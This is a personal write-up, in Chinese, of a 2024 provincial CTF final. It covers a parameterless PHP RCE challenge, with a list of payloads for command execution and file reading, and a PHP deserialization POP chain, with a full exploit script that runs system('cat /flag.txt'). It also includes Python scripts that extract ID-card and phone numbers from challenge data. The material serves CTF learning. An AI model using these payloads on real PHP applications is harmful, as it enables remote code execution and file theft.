2024-省赛决赛

2024-省赛决赛

遇到了两位很强大的队友,有幸拿到了省一.(题目出的很好,下次不要再出了

作为web手的我在做题的过程中其实还是遇到了不少阻力,包括但不限于不出网、模块不熟悉、对PHP部分了解比较生疏导致的.

Web

消失的第一题(?)

第一道是什么已经不重要了,全场唯一血+限制登录+黑盒已经让这道题目失去了原本的考察意义🤔,随他去吧

记得限制了登录用户密码长度不能超过9位,尝试超过一定次数会封1个小时不能打,注释里面写了sleep出现会被替换成NULL,看不懂

赛后交流了一下听说是弱密码?反正挺抽象一题

wucanrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if(isset($_GET['code'])){
echo($_GET['code']);
if (!preg_match('/session_id\(|readfile\(/i', $_GET['code']))

{
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
eval($_GET['code']);
}

}
else{
die("不让用session欧,readfile也不行");
}
}
?>

题如其名,“无参”RCE.没有参数的RCE.也就是说,我们只能使用函数,然后使用函数的返回值作为参数传递给其他函数最终来进行文件读取/命令执行.

题目特征

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['param'])) {    
eval($_GET['param']);
}

正则表达式 [^\W+]\((?R)?\) 匹配了一个或多个非标点符号字符(表示函数名),后跟一个括号(表示函数调用)。其中 (?R) 是递归引用,它只能匹配和替换嵌套的函数调用,而不能处理函数参数。使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。


常用函数

无参RCE常用函数,我把它们分为三类,一种是引入函数(引入外界可控注入变量的),一种是中继函数(用来处理‘参数’的),一种是威胁函数(对目标进行实际操作的,比如文件读写、命令执行等.

获取环境信息

phpinfo()

引入函数
函数名称 函数作用
getallheaders 获取所有的请求头
get_defined_vars 返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为 get->post->cookie->files
session_start 通过session_id(session_start())配合PHPSESSID Cookie传参来完成传参
localeconv 返回一包含本地数字及货币格式信息的数组,其中数组的第一项是”.”
hex2bin 配合session使用,产生phpsessid中不允许使用的括号
dirname 返回文件或目录路径中的父目录路径
中继操作函数
函数名称 函数作用
array_pop 删除数组中的最后一个元素,并返回被删除的元素的值.用于获取尾元素
array_flip 交换数组中的键和值,成功时返回交换后的数组
array_rand 从数组中随机取出一个或多个单元
array_values 返回一个包含给定数组中所有键值的数组,但不保留键名。
array_reverse 将数组内容反转
strrev 反转给定字符串
next 返回数组中下一个单元
current 返回数组中的当前单元, 默认取第一个值
end 将 array 的内部指针移动到最后一个单元并返回其值
prev 返回数组中上一个单元
pos 返回数组中的当前元素的值
威胁函数
函数名称 函数作用
system 执行系统命令,并在当前页面直接输出结果
file_get_contents,show_source,highlight_file,file_get_contents,readgzfile 文件读取,展示源码
scandir 扫描当前目录所有文件并以数组映射形式返回
readline 等待终端输入,拒绝服务攻击
readline_add_history 文件写入,使用readline_add_history来写入缓冲区

记不起来?全被ban了?留个妙妙小脚本看看?

获取0参函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$excludedRegex = '/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i';

// 获取所有内置函数
$internalFunctions = get_defined_functions()['internal'];

// 遍历每个函数并检查参数数量
$filteredFunctions = array_filter($internalFunctions, function ($functionName) use ($excludedRegex) {
// 排除匹配指定正则表达式的函数名
if (preg_match($excludedRegex, $functionName)) {
return false;
}

// 获取函数的反射对象
$reflection = new ReflectionFunction($functionName);

// 获取函数的参数列表
$parameters = $reflection->getParameters();

// 检查参数数量
$numParameters = count($parameters);

// 检查参数数量为0 或者必选参数数量为 0
return $numParameters === 0 || $reflection->getNumberOfRequiredParameters() === 0;
});

// 输出结果
foreach ($filteredFunctions as $functionName) {
echo $functionName . "\n";
}

获取1参传递函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$excludedRegex = '/file|if|localeconv|phpversion|implode|apache|sqrt|et|na|nt|strlen|info|path|rand|die|dec|bin|hex|oct|pi|exp|log|var_dump|pos|current|array|time|se|ord/i';

// 获取所有内置函数
$internalFunctions = get_defined_functions()['internal'];

// 遍历每个函数并检查参数数量
$filteredFunctions = array_filter($internalFunctions, function ($functionName) use ($excludedRegex) {
// 排除匹配指定正则表达式的函数名
if (preg_match($excludedRegex, $functionName)) {
return false;
}

// 获取函数的反射对象
$reflection = new ReflectionFunction($functionName);

// 获取函数的参数列表
$parameters = $reflection->getParameters();

// 检查参数数量
$numParameters = count($parameters);

// 检查参数数量为1或者必选参数数量为1
return $numParameters === 1 || $numParameters - $reflection->getNumberOfRequiredParameters() === 1;
});

// 输出结果
foreach ($filteredFunctions as $functionName) {
echo $functionName . "\n";
}

常用Payload收集

命令执行

1
2
命令执行
system(array_pop(array_values(getallheaders())));//利用header来执行系统命令
构造点参
1
2
3
4
5
构造点参
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));
chr(ord(hebrevc(crypt(phpversion()))));
next(str_split(zend_version()));
current(localeconv());
当前目录文件读取
1
2
3
4
5
6
7
8
9
10
11
12
13
查看当前目录文件名
print_r(scandir(current(localeconv())));
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
上级目录文件读取
1
2
3
4
5
6
7
8
9
10
11
查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
查看和读取根目录文件
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
print_r(array_rand(array_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))));

unserialize

类太多了还有好多小Trick,但是好几个没啥用,现场太长了先去打别的题了

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php
highlight_file(__FILE__);
error_reporting(0);
class AAA{
public $aear;
public $string;
public function __construct($a){
$this -> aear = $a;
}
function __destruct()
{
echo $this -> aear;
}
public function __toString()
{
$new = $this -> string;
return $new();
}

}

class BBB {
private $pop;

public function __construct($string) {
$this -> pop = $string;
}

public function __get($value) {
$var = $this -> $value;
$var[$value]();
}
}

class DDD{
public $bag;
public $magazine;

public function __toString()
{
$length = @$this -> bag -> add();
return $length;
}
public function __set($arg1,$arg2)
{
if($this -> magazine -> tower)
{
echo "really??";
}
}
}

class EEE{
public $d=array();
public $e;
public $f;//这个参数赋值为payload
public function __get($arg1){
$this->d[$this->e]=1;
if ($this->d[]=1){//通过PHP的循环自引用绕过,很神车
echo 'nononononnnn!!!';
}
else{
eval($this->f);//反序列化终点
}
}
}

class FFF{//没什么用的类,调用它的不存在方法会一直输出hahahaha,有点恶趣味
protected $cookie;

protected function delete() {
return $this -> cookie;
}

public function __call($func, $args) {
echo 'hahahhhh';
call_user_func([$this, $func."haha"], $args);
}
}
class GGG{
public $green;
public $book;
public function __invoke(){
if(md5(md5($this -> book)) == 666) {//这里用弱类型绕过,找到一个md5以666开头后面跟非字母的来截断
return $this -> green -> pen;
}
}
}

if(isset($_POST['UP'])) {
unserialize($_POST['UP']);//反序列化起点
}

PHP的反序列化调用链

AAA.__construct()->AAA.__destruct()->AAA.__toString()->GGG.__invoke()->EEE.__get()->eval()

绕过小Trick

两次md5弱等于
1
2
3
if(md5(md5($this -> book)) == 666) {
return $this -> green -> pen;
}

弱类型绕过,找到一个两次md5以666开头,后续为字母的字符串,需要爆破一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import hashlib
import time

start_time = time.time()
i = 0

while True:
book = str(i)
first_md5 = hashlib.md5(book.encode('utf-8')).hexdigest()
double_md5 = hashlib.md5(first_md5.encode('utf-8')).hexdigest()
if double_md5.startswith('666'):
print("Found matching string:")
print(f"book = '{book}'")
print(f"md5(md5(book)) = {double_md5}")
break
i += 1
# Optional: Display progress every 100,000 iterations
if i % 100000 == 0:
elapsed = time.time() - start_time
print(f"Checked {i} iterations in {elapsed:.2f} seconds")

1
2
3
4
5
Found matching string:

book = '213'

md5(md5(book)) = 666ca9a2be31fd949cb9b55686caef9a
循环引用绕过赋值
1
2
3
4
$this->d[$this->e]=1;
if ($this->d[]=1){
echo 'nononononnnn!!!';
}

这里 $this->d[] = 1 会在 $this->d 数组的末尾添加一个新的值 1,这是典型的 PHP 动态数组添加写法。

这种写法相当于 $this->d[] = 1; 并返回赋值的值(即 1),因此整个表达式为 if (1),所以 if 条件成立。

但是如果设置$this->d[$this->e] = &$this->d;则会把它的引用设置为它本身,从而进行循环赋值.只能说是非常神车了。

事后调试了一下发现给出的Payload不完全正确,正确的做法是把属性d和属性e都设置为NAN导致赋值失败,就会进入else逻辑.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
<?php

error_reporting(0);
class AAA{
   public $aear;
   public $string;
   public function __construct($a){
       $this -> aear = $a;
  }
   function __destruct()
  {
       echo $this -> aear; #触发 toString   step1
  }
   public function __toString()
  {
       $new = $this -> string;
       return $new();  # 触发 invoke
  }

}

class BBB {
   private $pop; # 私有属性,跟get和set有关。

   public function __construct($string) { # pop就传一个数组。
       $this -> pop = $string;
  }

   public function __get($value) { # $value 就是$pop
       $var = $this -> $value;
       $var[$value]();
  }
}

class DDD{
   public $bag;
   public $magazine;

   public function __toString()
  {
       $length = @$this -> bag -> add();   # step2
       return $length;
  }
   public function __set($arg1,$arg2)
  {
       if($this -> magazine -> tower)
      {
           echo "really??";
      }
  }
}

class EEE{
   public $d=array();
   public $e; # 需要等于1
   public $f;
   public function __get($arg1){
       $this->d[$this->e]=1; # array(1) {[0]=>int(1)}
       if ($this->d[]=1){
           echo 'nononononnnn!!!';
          }
       else{
           eval($this->f);
          }
  }
}

class FFF{
   protected $cookie;

   protected function delete() {
       return $this -> cookie;
  }

   public function __call($func, $args) { ## step3
       echo 'hahahhhh';
       call_user_func([$this, $func."haha"], $args); # 调用$this这个类的方法:$func."haha",参数是$args。递归会爆炸
  }
}
class GGG{
   public $green;
   public $book;
   
}
$fff = new FFF();


$eee = new EEE();
$eee->d = NAN;
$eee->e = NAN;
$eee->f = "system('cat /flag.txt');";
$ggg = new GGG();
$ggg->book = "eS";
$ggg->green = $eee;


$aaaa = new AAA("2");
$aaaa->string = $ggg;
$aaa = new AAA($aaaa);

echo urlencode(serialize($aaa));


数据安全

数据安全1

从csv文件中提取有用的姓名、身份证号和手机号码,其中姓名由全中文构成,手机号为十一位长度并有限定号段开头,身份证号码有固定的格式和校验位.里面数据大概长这个样子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
数据值
966482198509148174
伍玮琪
770728199811241275
270834201402237739
77563636041
杜夏璇
208487199407280651
79996258889
304383200901019533
屈门修然
78638972987
819407197511100212
78306616782
082473198601221320

把处理完的数据提交到数据清理平台,正确率>98%就会给出flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import csv
import re
def is_chinese(char):
return '\u4e00' <= char <= '\u9fa5' # 判断字符是否为中文字符
def is_idcard(card_number):
#身份证号的长度为 18 位 长度校验
if len(card_number) != 18:
return False

check_digit = card_number[-1]
data_index=[7,9,10,5,8,4,2,1,6,3,7,9,10,5,8,4,2]
sum=0
#验证规则:地区码、出生年份、顺序号和校验码
for i in range(17):
data=int(card_number[i])
sum+=data*data_index[i]
check_code=sum%11
print(check_code)
map_table=['1','0','X','9','8','7','6','5','4','3','2']
if check_digit==map_table[check_code]:
return True
else:
return False

def check_phone(card_number):
data=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799]
if len(card_number) != 11:
return False
head=card_number[0:3]
if int(head) not in data:# 判断号码段
return False
return True
def read_csv(file_name):
data = []
with open(file_name, 'r', encoding='utf-8') as file:
reader = csv.reader(file)
next(reader) # 跳过首段
for row in reader:
type_value = ''
value = row[-1]
if is_idcard(value):
type_value += '身份证号'
elif check_phone(value):
type_value += '手机号'
elif all(is_chinese(c) for c in value):
type_value += '姓名'
else:
continue
data.append((type_value, value))
return data

def write_csv(file_name, data):
with open(file_name, 'w', encoding='utf-8') as file:
writer = csv.writer(file)
writer.writerow(['类型', '数据值'])
for item in data:
writer.writerow(item)

def main():
input_file = 'data.csv'
output_file = 'output.csv'

data = read_csv(input_file)
write_csv(output_file, data)

if __name__ == "__main__":
main()

数据安全2

给出wireshark http流量数据包,要求处理其中的数据,并读取其中混杂的数据,从中正则匹配出IP地址、身份证号和手机号,其中身份证号和手机号可能以非标准形式出现,需要使用模糊正则来进行处理.

WireShark加载的数据包

我遇到的第一步也是最大的困难是导出请求正文。wireshark提供了一个导出对象的功能,可以导出HTTP请求的请求主体,在单独设置的时候可以设置保存文件名,批量保存就不可以了,默认的文件名/存储到999就会一直覆写,很烦.

导出了一堆名字叫“%5c”的文件,非常的抽象

后来赛后进行复现的时候一个好兄弟找到我说可以导出成json再用python的json模块来做数据处理,很厉害.

超大json(346MB)

提取所有请求包中的http.file_data_raw字段中的第一部分,并用正则表达式遍历提取特征数据.

1
I'll think of you every st552132197411262118ep of the way.Reading is to the mind while exercise to the body.The journey of a thousand miles begins with a single step.Time is money.A year's plan starts with spring.The first step is as good as half over.A faithful friend is hard to find.Stars can't shine without darkness.No way is impossible to courage.He that respects not is not respected.You had me at hello.Success belongs to the persevering.We never know the worth of water till the well is dry.There is no royal road to learning.Imagination is more important than knowledge.Winners do what losers don't want to do.No way is impossible to courage.Reading is to the mind while exercise to the body.I prefer having your accompanying for life-long time to the short-time tenderness.The first wealth is health.Jack of all trades and master of none.Every single person has at least one secret that would break your heart.There is no smoke without fire.The shortest answer is doing.Believe in yourself.Always have, always will.We are all too young, a lot of things don't yet know, don't put the.I need you like i need the air to breathe.May the force be with you.May the force be with you.Life is the flower for which love is the honey.You are braver than you believe.Rome was not built in a day.Genius is nothing but labor and diligence.Every man is the architect of his own fortune.No looking back, only forward.While there is life, there is hope.I can because i think i can.If there were no clouds, we should not enjoy the sun.Be cheerful and hopeful.Forget others' faults by remembering your own.It's up to you how far you'll go.If you don't try, you'll never know.Bind the sack before it be full.If i could rearrange the alphabet, i'd put y and i together. yiLife is short and you deserve to be happy.A man is only as good as what he loves.A man can do no more than he can.

里面传输的都是这种数据,里面会塞一些奇怪的数据等待提取.

需要找到身份证号、⼿机号、 IP 地址,若经过了变形需还原回去。例如找到的身份证号是“794688-19761015-0966”,则需还原回“794688197610150966”.

最终将找到的身份证号、⼿机号、 IP 地址进⾏数据分类后保存到 csv ⽂件中,⽂件编码为 utf-8,列名为 category,value.

尝试使用正则表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import re
import pandas as pd
import ujson

def validate_ip(ip):
def vali(num):
return 0 <= num <= 255
nums = ip.split(".")
for num in nums:
if not vali(int(num)):
return False
return True

def validate_idcard(idcard): # 身份证
def calculate_check_code(idcard): # 校验码计算
weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_codes = "10X98765432"
idcard = idcard[:17] # 只取前 17 位进行校验
total = sum(int(idcard[i]) * weights[i] for i in range(len(idcard)))
return check_codes[total % 11]

check_code = idcard[-1]

if check_code != calculate_check_code(idcard):
return False

return True

def validate_phone(phone):
segments = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778,
782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766,
767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789,
790, 791, 793, 799]

if int(phone[:3]) not in segments:
return False

return True

data = ujson.loads(open("result.json", "r", encoding="utf-8").read())
ddf = []
ipdf = set()
phonedf = set()
iddf = set()

origin = ""

tst = []

f = False

print("初始数据量", len(data))

for d in data:
d = d["_source"]["layers"]["http"]["http.file_data_raw"][0]
d = bytes.fromhex(d).decode()

ip_pattern = r"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})"
idcard_pattern = r"(?<![0-9])(\d{6})[- ]?(\d{8})[- ]?(\d{4}|\d{3}X)(?![0-9])" # 确保匹配到的字符串的前一个字符不是数字,后一个字符不是数字
phone_pattern = r"(?<![0-9])(\d{3})[- ]?(\d{4})[- ]?(\d{4})(?![0-9])" # 确保匹配到的字符串的前一个字符不是数字,后一个字符不是数字

matches_ip = re.findall(ip_pattern, d)
tst += matches_ip
for ip in matches_ip:
ip = "".join(ip)
if validate_ip(ip):
ipdf.add(ip)

matches_idcard = re.findall(idcard_pattern, d)
tst += matches_idcard
for idcard in matches_idcard:
idcard = "".join(idcard)
if validate_idcard(idcard):
iddf.add(idcard)

matches_phone = re.findall(phone_pattern, d)
tst += matches_phone
for phone in matches_phone:
phone = "".join(phone)
if validate_phone(phone):
phonedf.add(phone)

for item in iddf:
ddf.append(["idcard", item])

for item in phonedf:
ddf.append(["phone", item])

for item in ipdf:
ddf.append(["ip", item])

df = pd.DataFrame(data=ddf, columns=["category", "value"])

print("筛选数据量", len(tst))
print("最终数据量", len(df))
df.to_csv("result3.csv", index=False)

ujson是一个使用C语言编写的json处理库,在处理大规模json数据时比标准json库更快.